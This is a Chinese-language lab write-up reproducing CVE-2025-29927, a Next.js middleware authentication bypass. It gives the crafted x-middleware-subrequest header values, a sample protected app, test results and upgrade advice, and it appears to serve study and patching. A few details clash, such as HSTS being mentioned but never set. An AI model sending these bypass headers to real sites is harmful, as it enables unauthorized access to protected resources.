# CVE-2025-29927 漏洞復現 ## 漏洞說明 ![image](https://hackmd.io/_uploads/HkMfsoK_ee.png) <!-- Next.js 的 middleware(中介軟體)會作為攔截器,在請求到達最終目的地之前執行。它通常用於實作身份驗證檢查、授權控制、路徑重寫、請求重新導向,以及套用安全性標頭。 Middleware 的執行由 Next.js 內部的 runMiddleware 函式負責管理。 此漏洞存在於 Next.js 用來防止 middleware 無限遞迴迴圈的內部機制中。 根據安全研究員 Rachid Allam(暱稱「zhero」)的發現,可以透過操控 x-middleware-subrequest HTTP 標頭來控制 middleware 的執行流程。 在舊版本(12.2 以前),middleware 會檢查該標頭的值是否包含 middleware 檔案的路徑,如果有,就會完全跳過 middleware 的執行。 在較新的版本中,middleware 引入了一個 MAX_RECURSION_DEPTH 檢查(設定為 5)以防止無限遞迴。如果該標頭的值中(以冒號分隔)出現 middleware 路徑 5 次或以上,則會跳過該 middleware 的執行。 此機制原本僅供內部使用,但卻會在沒有驗證的情況下接受並處理任何外部請求中的該標頭,導致攻擊者能藉由惡意構造該標頭來繞過 middleware 的安全控制。 --> ## 攻擊原理 允許使用者繞過 middleware 的安全控制,未經授權存取受保護的資源。 ## 漏洞利用 攻擊方法是透過在 HTTP 請求中加入特製的 x-middleware-subrequest 標頭: 舊版本(12.2 以前): `x-middleware-subrequest: pages/_middleware` 新版本: `x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware` 如果使用 src 目錄結構: `x-middleware-subrequest:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware` ## 影響範圍 * Next.js 11.1.4 至 13.5.6 * Next.js 14.0 至 14.2.24 * Next.js 15.0 至 15.2.2 ## 實作流程 PoC: ### 0x01 環境建置 * Kali Linux 2024.4 VMware * Next.js 13.5.8 (13.5.9以前) ### 0x02 建立middleware.js ``` next.js import { NextResponse } from 'next/server' // 小工具:設定常見安全性標頭(用來觀察被跳過時標頭會消失) function withSecurityHeaders(resp) { resp.headers.set('Content-Security-Policy', "default-src 'self'") resp.headers.set('X-Frame-Options', 'DENY') resp.headers.set('X-Content-Type-Options', 'nosniff') resp.headers.set('Referrer-Policy', 'no-referrer') return resp } export function middleware(req) { // 模擬「需要登入」:只有帶 cookie session=valid 才算登入 const loggedIn = req.cookies.get('session')?.value === 'valid' if (!loggedIn) { // 未登入 → 擋下(401) const resp = new NextResponse('Unauthorized (blocked by middleware)', { status: 401 }) return withSecurityHeaders(resp) } // 已登入 → 放行,並附加安全性標頭 const resp = NextResponse.next() return withSecurityHeaders(resp) } // 只保護 /secret/* 路徑 export const config = { matcher: ['/secret/:path*'], } ``` (1) 驗證:沒 cookie 就 401 (2) 安全性標頭:正常放行時會加 CSP/HSTS 等 ### 0x03 建立被保護的頁面 ``` next.js export default function Secret() { return <h1>Super Secret Content 🚀</h1> } ``` ### 0x04 啟動&測試 (1) 未登入 : 回傳401,帶有安全性標頭(有經過middleware) ![image](https://hackmd.io/_uploads/Sk7_83YOgx.png) (2) 已登入(以帶有cookie模擬) : 回傳200,帶有安全性標頭(有經過middleware) ![image](https://hackmd.io/_uploads/SkJyDntuex.png) (3) 利用特製的 x-middleware-subrequest 標頭 : 回傳200,沒有安全性標頭(跳過middleware) ![image](https://hackmd.io/_uploads/HJ9fwhKdxe.png) ## 修補辦法 官方修補建議: Next.js 15.x:請更新至 15.2.3 或以上版本。 Next.js 14.x:請更新至 14.2.25 或以上版本。 Next.js 11.1.4 至 13.5.6:建議升級至上述修補版本,或阻擋帶有 x-middleware-subrequest 標頭的外部請求 ## 參考資料 https://zeropath.com/blog/nextjs-middleware-cve-2025-29927-auth-bypass https://cnc.nptu.edu.tw/p/406-1007-181105,r1042.php?Lang=zh-tw https://projectdiscovery.io/blog/nextjs-middleware-authorization-bypass